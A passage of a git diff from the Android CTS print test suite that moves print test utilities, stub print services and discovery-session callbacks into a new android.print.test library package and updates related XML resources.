+ }
+
+ int getCallCount() {
+ synchronized (mLock) {
+ return mCallCount;
+ }
+ }
+
+ public void reset() {
+ synchronized (mLock) {
+ mCallCount = 0;
+ }
+ }
+
+ public void waitForCount(int count, long timeoutMillis) throws TimeoutException {
+ synchronized (mLock) {
+ final long startTimeMillis = SystemClock.uptimeMillis();
+ while (mCallCount < count) {
+ try {
+ final long elapsedTimeMillis = SystemClock.uptimeMillis() - startTimeMillis;
+ final long remainingTimeMillis = timeoutMillis - elapsedTimeMillis;
+ if (remainingTimeMillis <= 0) {
+ throw new TimeoutException();
+ }
+ mLock.wait(timeoutMillis);
+ } catch (InterruptedException ie) {
+ /* ignore */
+ }
+ }
+ }
+ }
+ }
+
+
+ /**
+ * Make {@code printerName} the default printer by adding it to the history of printers by
+ * printing once.
+ *
+ * @param adapter The {@link PrintDocumentAdapter} used
+ * @throws Exception If the printer could not be made default
+ */
+ public void makeDefaultPrinter(PrintDocumentAdapter adapter, String printerName)
+ throws Exception {
+ // Perform a full print operation on the printer
+ Log.d(LOG_TAG, "print");
+ print(adapter);
+ Log.d(LOG_TAG, "waitForWriteAdapterCallback");
+ waitForWriteAdapterCallback(1);
+ Log.d(LOG_TAG, "selectPrinter");
+ selectPrinter(printerName);
+ Log.d(LOG_TAG, "clickPrintButton");
+ clickPrintButton();
+ Log.d(LOG_TAG, "answerPrintServicesWarning");
+ answerPrintServicesWarning(true);
+ Log.d(LOG_TAG, "waitForPrinterDiscoverySessionDestroyCallbackCalled");
+ waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
+
+ // Switch to new activity, which should now use the default printer
+ Log.d(LOG_TAG, "getActivity().finish()");
+ getActivity().finish();
+
+ createActivity();
+ }
+
+ /**
+ * Get a string array from the print spooler's resources.
+ *
+ * @param resourceName The name of the array resource
+ * @return The localized string array
+ *
+ * @throws Exception If anything is unexpected
+ */
+ protected String[] getPrintSpoolerStringArray(String resourceName) throws Exception {
+ PackageManager pm = getActivity().getPackageManager();
+ Resources printSpoolerRes = pm.getResourcesForApplication(PRINTSPOOLER_PACKAGE);
+ int id = printSpoolerRes.getIdentifier(resourceName, "array", PRINTSPOOLER_PACKAGE);
+ return printSpoolerRes.getStringArray(id);
+ }
+
+ /**
+ * Get a string from the print spooler's resources.
+ *
+ * @param resourceName The name of the string resource
+ * @return The localized string
+ *
+ * @throws Exception If anything is unexpected
+ */
+ private String getPrintSpoolerString(String resourceName) throws Exception {
+ PackageManager pm = getActivity().getPackageManager();
+ Resources printSpoolerRes = pm.getResourcesForApplication(PRINTSPOOLER_PACKAGE);
+ int id = printSpoolerRes.getIdentifier(resourceName, "string", PRINTSPOOLER_PACKAGE);
+ return printSpoolerRes.getString(id);
+ }
+
+ /**
+ * Get a string with one parameter from the print spooler's resources.
+ *
+ * @param resourceName The name of the string resource
+ * @return The localized string
+ *
+ * @throws Exception If anything is unexpected
+ */
+ protected String getPrintSpoolerStringOneParam(String resourceName, Object p)
+ throws Exception {
+ PackageManager pm = getActivity().getPackageManager();
+ Resources printSpoolerRes = pm.getResourcesForApplication(PRINTSPOOLER_PACKAGE);
+ int id = printSpoolerRes.getIdentifier(resourceName, "string", PRINTSPOOLER_PACKAGE);
+ return printSpoolerRes.getString(id, p);
+ }
+
+ /**
+ * Get the default media size for the current locale.
+ *
+ * @return The default media size for the current locale
+ *
+ * @throws Exception If anything is unexpected
+ */
+ protected PrintAttributes.MediaSize getDefaultMediaSize() throws Exception {
+ PackageManager pm = getActivity().getPackageManager();
+ Resources printSpoolerRes = pm.getResourcesForApplication(PRINTSPOOLER_PACKAGE);
+ int defaultMediaSizeResId = printSpoolerRes.getIdentifier("mediasize_default", "string",
+ PRINTSPOOLER_PACKAGE);
+ String defaultMediaSizeName = printSpoolerRes.getString(defaultMediaSizeResId);
+
+ switch (defaultMediaSizeName) {
+ case "NA_LETTER":
+ return PrintAttributes.MediaSize.NA_LETTER;
+ case "JIS_B5":
+ return PrintAttributes.MediaSize.JIS_B5;
+ case "ISO_A4":
+ return PrintAttributes.MediaSize.ISO_A4;
+ default:
+ throw new Exception("Unknown default media size " + defaultMediaSizeName);
+ }
+ }
+
+ /**
+ * Annotation used to signal that a test does not need an activity.
+ */
+ @Retention(RetentionPolicy.RUNTIME)
+ @Target(ElementType.METHOD)
+ protected @interface NoActivity { }
+
+ /**
+ * Rule that handles the {@link NoActivity} annotation.
+ */
+ private static class ShouldStartActivity implements TestRule {
+ boolean mNoActivity;
+
+ @Override
+ public Statement apply(Statement base, org.junit.runner.Description description) {
+ for (Annotation annotation : description.getAnnotations()) {
+ if (annotation instanceof NoActivity) {
+ mNoActivity = true;
+ break;
+ }
+ }
+
+ return base;
+ }
+ }
+}
diff --git a/tests/tests/print/printTestUtilLib/src/android/print/test/PrintDocumentActivity.java b/tests/tests/print/printTestUtilLib/src/android/print/test/PrintDocumentActivity.java
new file mode 100644
index 0000000..cfb644f
--- /dev/null
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/PrintDocumentActivity.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.print.test;
+
+import android.app.Activity;
+import android.app.KeyguardManager;
+import android.os.Bundle;
+import android.util.Log;
+import android.view.WindowManager;
+
+public class PrintDocumentActivity extends Activity {
+ private static final String LOG_TAG = "PrintDocumentActivity";
+ int mTestId;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ mTestId = getIntent().getIntExtra(BasePrintTest.TEST_ID, -1);
+ Log.d(LOG_TAG, "onCreate() " + this + " for " + mTestId);
+
+ getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
+ | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
+
+ KeyguardManager km = getSystemService(KeyguardManager.class);
+ if (km != null) {
+ km.requestDismissKeyguard(this, null);
+ }
+
+ BasePrintTest.onActivityCreateCalled(mTestId, this);
+
+ if (savedInstanceState != null) {
+ Log.d(LOG_TAG,
+ "We cannot deal with lifecycle. Hence finishing " + this + " for " + mTestId);
+ finish();
+ }
+ }
+
+ @Override
+ protected void onDestroy() {
+ Log.d(LOG_TAG, "onDestroy() " + this);
+ BasePrintTest.onActivityDestroyCalled(mTestId);
+ super.onDestroy();
+ }
+}
diff --git a/tests/tests/print/printTestUtilLib/src/android/print/test/Utils.java b/tests/tests/print/printTestUtilLib/src/android/print/test/Utils.java
new file mode 100644
index 0000000..dbc6644
--- /dev/null
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/Utils.java
@@ -0,0 +1,148 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.print.test;
+
+import android.content.Context;
+import android.os.Handler;
+import android.os.Looper;
+import android.print.PrintJob;
+import android.print.PrintManager;
+import android.support.annotation.NonNull;
+import android.util.Log;
+
+/**
+ * Utilities for print tests
+ */
+public class Utils {
+ private static final String LOG_TAG = "Utils";
+
+ /**
+ * A {@link Runnable} that can throw an {@link Throwable}.
+ */
+ public interface Invokable {
+ void run() throws Throwable;
+ }
+
+ /**
+ * Run a {@link Invokable} and expect and {@link Throwable} of a certain type.
+ *
+ * @param r The {@link Invokable} to run
+ * @param expectedClass The expected {@link Throwable} type
+ */
+ public static void assertException(@NonNull Invokable r,
+ @NonNull Class<? extends Throwable> expectedClass) throws Throwable {
+ try {
+ r.run();
+ } catch (Throwable e) {
+ if (e.getClass().isAssignableFrom(expectedClass)) {
+ return;
+ } else {
+ Log.e(LOG_TAG, "Expected: " + expectedClass.getName() + ", got: "
+ + e.getClass().getName());
+ throw e;
+ }
+ }
+
+ throw new AssertionError("No throwable thrown");
+ }
+
+ /**
+ * Run a {@link Invokable} on the main thread and forward the {@link Throwable} if one was
+ * thrown.
+ *
+ * @param r The {@link Invokable} to run
+ *
+ * @throws Throwable If the {@link Runnable} caused an issue
+ */
+ public static void runOnMainThread(@NonNull final Invokable r) throws Throwable {
+ final Object synchronizer = new Object();
+ final Throwable[] thrown = new Throwable[1];
+
+ synchronized (synchronizer) {
+ (new Handler(Looper.getMainLooper())).post(() -> {
+ synchronized (synchronizer) {
+ try {
+ r.run();
+ } catch (Throwable t) {
+ thrown[0] = t;
+ }
+
+ synchronizer.notify();
+ }
+ });
+
+ synchronizer.wait();
+ }
+
+ if (thrown[0] != null) {
+ throw thrown[0];
+ }
+ }
+
+ /**
+ * Make sure that a {@link Invokable} eventually finishes without throwing a {@link Throwable}.
+ *
+ * @param r The {@link Invokable} to run.
+ */
+ public static void eventually(@NonNull Invokable r) throws Throwable {
+ long start = System.currentTimeMillis();
+
+ while (true) {
+ try {
+ r.run();
+ break;
+ } catch (Throwable e) {
+ if (System.currentTimeMillis() - start < BasePrintTest.OPERATION_TIMEOUT_MILLIS) {
+ Log.e(LOG_TAG, "Ignoring exception", e);
+
+ try {
+ Thread.sleep(500);
+ } catch (InterruptedException e1) {
+ Log.e(LOG_TAG, "Interrupted", e);
+ }
+ } else {
+ throw e;
+ }
+ }
+ }
+ }
+
+ /**
+ * @param name Name of print job
+ *
+ * @return The print job for the name
+ *
+ * @throws Exception If print job could not be found
+ */
+ public static @NonNull PrintJob getPrintJob(@NonNull PrintManager pm, @NonNull String name)
+ throws Exception {
+ for (android.print.PrintJob job : pm.getPrintJobs()) {
+ if (job.getInfo().getLabel().equals(name)) {
+ return job;
+ }
+ }
+
+ throw new Exception("Print job " + name + " not found in " + pm.getPrintJobs());
+ }
+
+ /**
+ * @return The print manager
+ */
+ public static @NonNull PrintManager getPrintManager(@NonNull Context context) {
+ return (PrintManager) context.getSystemService(Context.PRINT_SERVICE);
+ }
+}
diff --git a/tests/tests/print/printTestUtilLib/src/android/print/test/services/AddPrintersActivity.java b/tests/tests/print/printTestUtilLib/src/android/print/test/services/AddPrintersActivity.java
new file mode 100644
index 0000000..5e01d7c
--- /dev/null
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/services/AddPrintersActivity.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.print.test.services;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.support.annotation.NonNull;
+
+import java.util.ArrayList;
+
+public class AddPrintersActivity extends Activity {
+ private static final ArrayList<Runnable> sObservers = new ArrayList<>();
+
+ public static void addObserver(@NonNull Runnable observer) {
+ synchronized (sObservers) {
+ sObservers.add(observer);
+ }
+ }
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ synchronized (sObservers) {
+ for (Runnable sObserver : sObservers) {
+ sObserver.run();
+ }
+ }
+
+ finish();
+ }
+
+ public static void clearObservers() {
+ synchronized (sObservers) {
+ sObservers.clear();
+ }
+ }
+}
diff --git a/tests/tests/print/printTestUtilLib/src/android/print/test/services/CustomPrintOptionsActivity.java b/tests/tests/print/printTestUtilLib/src/android/print/test/services/CustomPrintOptionsActivity.java
new file mode 100644
index 0000000..94993c7
--- /dev/null
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/services/CustomPrintOptionsActivity.java
@@ -0,0 +1,76 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.print.test.services;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.print.PrintJobInfo;
+import android.print.PrinterInfo;
+import android.printservice.PrintService;
+
+/**
+ * Custom print options activity for both print services
+ */
+public class CustomPrintOptionsActivity extends Activity {
+ /** Lock for {@link #sCallback} */
+ private static final Object sLock = new Object();
+
+ /** Currently registered callback for _both_ first and second print service. */
+ private static CustomPrintOptionsCallback sCallback = null;
+
+ /**
+ * Set a new callback called when the custom options activity is launched.
+ *
+ * @param callback The new callback or null, if the callback should be unregistered.
+ */
+ public static void setCallBack(CustomPrintOptionsCallback callback) {
+ synchronized (sLock) {
+ sCallback = callback;
+ }
+ }
+
+ /**
+ * Callback executed for this activity. Set via {@link #setCallBack}.
+ */
+ public interface CustomPrintOptionsCallback {
+ PrintJobInfo executeCustomPrintOptionsActivity(PrintJobInfo printJob,
+ PrinterInfo printer);
+ }
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ Intent result = new Intent();
+
+ synchronized (sLock) {
+ if (sCallback != null) {
+ PrintJobInfo printJobInfo = getIntent().getParcelableExtra(
+ PrintService.EXTRA_PRINT_JOB_INFO);
+ PrinterInfo printerInfo = getIntent().getParcelableExtra(
+ "android.intent.extra.print.EXTRA_PRINTER_INFO");
+
+ result.putExtra(PrintService.EXTRA_PRINT_JOB_INFO,
+ sCallback.executeCustomPrintOptionsActivity(printJobInfo, printerInfo));
+ }
+ }
+
+ setResult(Activity.RESULT_OK, result);
+ finish();
+ }
+}
diff --git a/tests/tests/print/printTestUtilLib/src/android/print/test/services/FirstPrintService.java b/tests/tests/print/printTestUtilLib/src/android/print/test/services/FirstPrintService.java
new file mode 100644
index 0000000..2c3a4ee
--- /dev/null
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/services/FirstPrintService.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.print.test.services;
+
+public class FirstPrintService extends StubbablePrintService {
+
+ private static final Object sLock = new Object();
+
+ private static PrintServiceCallbacks sCallbacks;
+
+ public static void setCallbacks(PrintServiceCallbacks callbacks) {
+ synchronized (sLock) {
+ sCallbacks = callbacks;
+ }
+ }
+
+ @Override
+ protected PrintServiceCallbacks getCallbacks() {
+ synchronized (sLock) {
+ if (sCallbacks != null) {
+ sCallbacks.setService(this);
+ }
+ return sCallbacks;
+ }
+ }
+}
diff --git a/tests/tests/print/printTestUtilLib/src/android/print/test/services/InfoActivity.java b/tests/tests/print/printTestUtilLib/src/android/print/test/services/InfoActivity.java
new file mode 100644
index 0000000..627fec9
--- /dev/null
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/services/InfoActivity.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.print.test.services;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+import java.util.ArrayList;
+
+public class InfoActivity extends Activity {
+ public interface Observer {
+ void onCreate(Activity createdActivity);
+ }
+
+ private static final ArrayList<Observer> sObservers = new ArrayList<>();
+
+ public static void addObserver(Observer observer) {
+ synchronized (sObservers) {
+ sObservers.add(observer);
+ }
+ }
+
+ public static void clearObservers() {
+ synchronized (sObservers) {
+ sObservers.clear();
+ }
+ }
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ synchronized (sObservers) {
+ ArrayList<Observer> observers = (ArrayList<Observer>) sObservers.clone();
+
+ for (Observer observer : observers) {
+ observer.onCreate(this);
+ }
+ }
+ }
+}
diff --git a/tests/tests/print/printTestUtilLib/src/android/print/test/services/PrintServiceCallbacks.java b/tests/tests/print/printTestUtilLib/src/android/print/test/services/PrintServiceCallbacks.java
new file mode 100644
index 0000000..d2d42f2
--- /dev/null
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/services/PrintServiceCallbacks.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.print.test.services;
+
+import android.printservice.PrintJob;
+
+public abstract class PrintServiceCallbacks {
+
+ private StubbablePrintService mService;
+
+ public StubbablePrintService getService() {
+ return mService;
+ }
+
+ public void setService(StubbablePrintService service) {
+ mService = service;
+ }
+
+ public abstract PrinterDiscoverySessionCallbacks onCreatePrinterDiscoverySessionCallbacks();
+
+ public abstract void onRequestCancelPrintJob(PrintJob printJob);
+
+ public abstract void onPrintJobQueued(PrintJob printJob);
+}
diff --git a/tests/tests/print/printTestUtilLib/src/android/print/test/services/PrinterDiscoverySessionCallbacks.java b/tests/tests/print/printTestUtilLib/src/android/print/test/services/PrinterDiscoverySessionCallbacks.java
new file mode 100644
index 0000000..7b7a1b9
--- /dev/null
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/services/PrinterDiscoverySessionCallbacks.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.print.test.services;
+
+import android.os.CancellationSignal;
+import android.print.PrinterId;
+import android.printservice.CustomPrinterIconCallback;
+
+import java.util.List;
+
+public abstract class PrinterDiscoverySessionCallbacks {
+
+ private StubbablePrinterDiscoverySession mSession;
+
+ public void setSession(StubbablePrinterDiscoverySession session) {
+ mSession = session;
+ }
+
+ public StubbablePrinterDiscoverySession getSession() {
+ return mSession;
+ }
+
+ public abstract void onStartPrinterDiscovery(List<PrinterId> priorityList);
+
+ public abstract void onStopPrinterDiscovery();
+
+ public abstract void onValidatePrinters(List<PrinterId> printerIds);
+
+ public abstract void onStartPrinterStateTracking(PrinterId printerId);
+
+ public abstract void onRequestCustomPrinterIcon(PrinterId printerId,
+ CancellationSignal cancellationSignal, CustomPrinterIconCallback callback);
+
+ public abstract void onStopPrinterStateTracking(PrinterId printerId);
+
+ public abstract void onDestroy();
+}
diff --git a/tests/tests/print/printTestUtilLib/src/android/print/test/services/SecondPrintService.java b/tests/tests/print/printTestUtilLib/src/android/print/test/services/SecondPrintService.java
new file mode 100644
index 0000000..3e8a6a7
--- /dev/null
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/services/SecondPrintService.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.print.test.services;
+
+public class SecondPrintService extends StubbablePrintService {
+
+ private static final Object sLock = new Object();
+
+ private static PrintServiceCallbacks sCallbacks;
+
+ public static void setCallbacks(PrintServiceCallbacks callbacks) {
+ synchronized (sLock) {
+ sCallbacks = callbacks;
+ }
+ }
+
+ @Override
+ protected PrintServiceCallbacks getCallbacks() {
+ synchronized (sLock) {
+ if (sCallbacks != null) {
+ sCallbacks.setService(this);
+ }
+ return sCallbacks;
+ }
+ }
+}
diff --git a/tests/tests/print/printTestUtilLib/src/android/print/test/services/SettingsActivity.java b/tests/tests/print/printTestUtilLib/src/android/print/test/services/SettingsActivity.java
new file mode 100644
index 0000000..56c63fa
--- /dev/null
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/services/SettingsActivity.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.print.test.services;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class SettingsActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ }
+}
diff --git a/tests/tests/print/printTestUtilLib/src/android/print/test/services/StubbablePrintService.java b/tests/tests/print/printTestUtilLib/src/android/print/test/services/StubbablePrintService.java
new file mode 100644
index 0000000..09d1f78
--- /dev/null
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/services/StubbablePrintService.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.print.test.services;
+
+import android.content.Context;
+import android.printservice.PrintJob;
+import android.printservice.PrintService;
+import android.printservice.PrinterDiscoverySession;
+
+import java.util.List;
+
+public abstract class StubbablePrintService extends PrintService {
+
+ @Override
+ public PrinterDiscoverySession onCreatePrinterDiscoverySession() {
+ PrintServiceCallbacks callbacks = getCallbacks();
+ if (callbacks != null) {
+ return new StubbablePrinterDiscoverySession(this,
+ getCallbacks().onCreatePrinterDiscoverySessionCallbacks());
+ }
+ return null;
+ }
+
+ @Override
+ public void onRequestCancelPrintJob(PrintJob printJob) {
+ PrintServiceCallbacks callbacks = getCallbacks();
+ if (callbacks != null) {
+ callbacks.onRequestCancelPrintJob(printJob);
+ }
+ }
+
+ @Override
+ public void onPrintJobQueued(PrintJob printJob) {
+ PrintServiceCallbacks callbacks = getCallbacks();
+ if (callbacks != null) {
+ callbacks.onPrintJobQueued(printJob);
+ }
+ }
+
+ protected abstract PrintServiceCallbacks getCallbacks();
+
+ public void callAttachBaseContext(Context base) {
+ attachBaseContext(base);
+ }
+
+ public List<PrintJob> callGetActivePrintJobs() {
+ return getActivePrintJobs();
+ }
+
+}
diff --git a/tests/tests/print/printTestUtilLib/src/android/print/test/services/StubbablePrinterDiscoverySession.java b/tests/tests/print/printTestUtilLib/src/android/print/test/services/StubbablePrinterDiscoverySession.java
new file mode 100644
index 0000000..c9fb015
--- /dev/null
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/services/StubbablePrinterDiscoverySession.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.print.test.services;
+
+import android.os.CancellationSignal;
+import android.print.PrinterId;
+import android.printservice.CustomPrinterIconCallback;
+import android.printservice.PrintService;
+import android.printservice.PrinterDiscoverySession;
+import android.support.annotation.NonNull;
+
+import java.util.List;
+
+public class StubbablePrinterDiscoverySession extends PrinterDiscoverySession {
+ private final PrintService mService;
+ private final PrinterDiscoverySessionCallbacks mCallbacks;
+
+ public StubbablePrinterDiscoverySession(PrintService service,
+ PrinterDiscoverySessionCallbacks callbacks) {
+ mService = service;
+ mCallbacks = callbacks;
+ if (mCallbacks != null) {
+ mCallbacks.setSession(this);
+ }
+ }
+
+ public PrintService getService() {
+ return mService;
+ }
+
+ @Override
+ public void onStartPrinterDiscovery(@NonNull List<PrinterId> priorityList) {
+ if (mCallbacks != null) {
+ mCallbacks.onStartPrinterDiscovery(priorityList);
+ }
+ }
+
+ @Override
+ public void onStopPrinterDiscovery() {
+ if (mCallbacks != null) {
+ mCallbacks.onStopPrinterDiscovery();
+ }
+ }
+
+ @Override
+ public void onValidatePrinters(@NonNull List<PrinterId> printerIds) {
+ if (mCallbacks != null) {
+ mCallbacks.onValidatePrinters(printerIds);
+ }
+ }
+
+ @Override
+ public void onStartPrinterStateTracking(@NonNull PrinterId printerId) {
+ if (mCallbacks != null) {
+ mCallbacks.onStartPrinterStateTracking(printerId);
+ }
+ }
+
+ @Override
+ public void onRequestCustomPrinterIcon(@NonNull PrinterId printerId,
+ @NonNull CancellationSignal cancellationSignal,
+ @NonNull CustomPrinterIconCallback callback) {
+ if (mCallbacks != null) {
+ mCallbacks.onRequestCustomPrinterIcon(printerId, cancellationSignal, callback);
+ }
+ }
+
+ @Override
+ public void onStopPrinterStateTracking(@NonNull PrinterId printerId) {
+ if (mCallbacks != null) {
+ mCallbacks.onStopPrinterStateTracking(printerId);
+ }
+ }
+
+ @Override
+ public void onDestroy() {
+ if (mCallbacks != null) {
+ mCallbacks.onDestroy();
+ }
+ }
+}
diff --git a/tests/tests/print/res/values/themes.xml b/tests/tests/print/res/values/themes.xml
index f5c9b977..07e228c 100644
--- a/tests/tests/print/res/values/themes.xml
+++ b/tests/tests/print/res/values/themes.xml
@@ -17,7 +17,12 @@
-->
<resources>
- <style name="Theme.Translucent" parent="@android:style/Theme.DeviceDefault">
+ <style name="NoAnimationTranslucent" parent="@android:style/Theme.DeviceDefault">
<item name="android:windowIsTranslucent">true</item>
+ <item name="android:windowAnimationStyle">@null</item>
+ </style>
+
+ <style name="NoAnimation" parent="@android:style/Theme.DeviceDefault">
+ <item name="android:windowAnimationStyle">@null</item>
</style>
</resources>
diff --git a/tests/tests/print/res/xml/printservice.xml b/tests/tests/print/res/xml/printservice.xml
index 78c7504..07f7d6c 100644
--- a/tests/tests/print/res/xml/printservice.xml
+++ b/tests/tests/print/res/xml/printservice.xml
@@ -17,6 +17,6 @@
-->
<print-service xmlns:android="http://schemas.android.com/apk/res/android"
- android:settingsActivity="android.print.cts.services.SettingsActivity"
- android:addPrintersActivity="android.print.cts.services.AddPrintersActivity"
- android:advancedPrintOptionsActivity="android.print.cts.services.CustomPrintOptionsActivity"/>
+ android:settingsActivity="android.print.test.services.SettingsActivity"
+ android:addPrintersActivity="android.print.test.services.AddPrintersActivity"
+ android:advancedPrintOptionsActivity="android.print.test.services.CustomPrintOptionsActivity"/>
diff --git a/tests/tests/print/src/android/print/cts/BasePrintTest.java b/tests/tests/print/src/android/print/cts/BasePrintTest.java
deleted file mode 100644
index db1efd7..0000000
--- a/tests/tests/print/src/android/print/cts/BasePrintTest.java
+++ /dev/null
@@ -1,1105 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
